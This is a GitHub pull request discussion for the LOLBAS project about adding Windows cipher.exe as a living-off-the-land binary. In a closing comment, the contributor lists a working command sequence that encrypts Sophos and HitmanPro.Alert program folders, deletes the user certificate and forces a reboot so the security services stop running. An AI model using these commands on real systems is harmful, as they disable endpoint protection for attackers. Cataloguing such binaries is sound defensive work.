Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding cipher.exe entry #274

Open
wants to merge 2 commits into
base: master
Choose a base branch
from

Conversation

conitrade-as
Copy link

No description provided.

@@ -3,6 +3,7 @@ CATEGORY LIST
ADS
AWL bypass
Compile
Conceal
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Matches changes made it LOLBAS-Project/LOLBAS-Project.github.io@d9405c1 ✔️

Copy link
Member

@wietze wietze left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey @conitrade-as, thanks for submitting this.

I have just tried this on Windows 10, without success. Maybe it has been fixed since your submission, or maybe I'm missing a trick.
image

Putting the MsMpEng use case aside, the executable seems to be doing what it is designed to do: encrypting files. This may mean that although cipher.exe can certainly be of use to attackers, it is strictly speaking not in line with the LOLBAS Criteria.

Please let me know your thoughts on the above. Thanks again.

@wietze wietze changed the title Feature/cipher exe Adding cipher.exe entry Aug 5, 2023
@conitrade-as
Copy link
Author

Indeed, Microsoft fixed it for Windows Defender (the initial assessment on their end was "valid but does not meet our bar for immediate servicing or it is not exploitable").

Disabling security features such as Windows Defender seems rather unexpected from my point of view. From you guidelines I'd say that:

  • Be a Microsoft-signed file: ✅
  • Have extra "unexpected" functionality -> This executable allows to modify executables which an administrative users should not be allowed to change.
  • Have functionality that would be useful to an APT or red team: ✅

Let me check once more if it still works for other vendors for which we tried this initially.

@conitrade-as
Copy link
Author

Yes, it still works for other security products with the exact same result: Services not running any more. If you want to try yourself with e.g. Sophos Home here are a few steps you can use:

cipher.exe /e /s:'C:\Program Files\Sophos'
cipher.exe /e /s:'C:\Program Files (x86)\Sophos'
cipher.exe /e /s:'C:\Program Files (x86)\HitmanPro.Alert'
certutil.exe -delstore -user my %username%
shutdown.exe /r /t 0

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants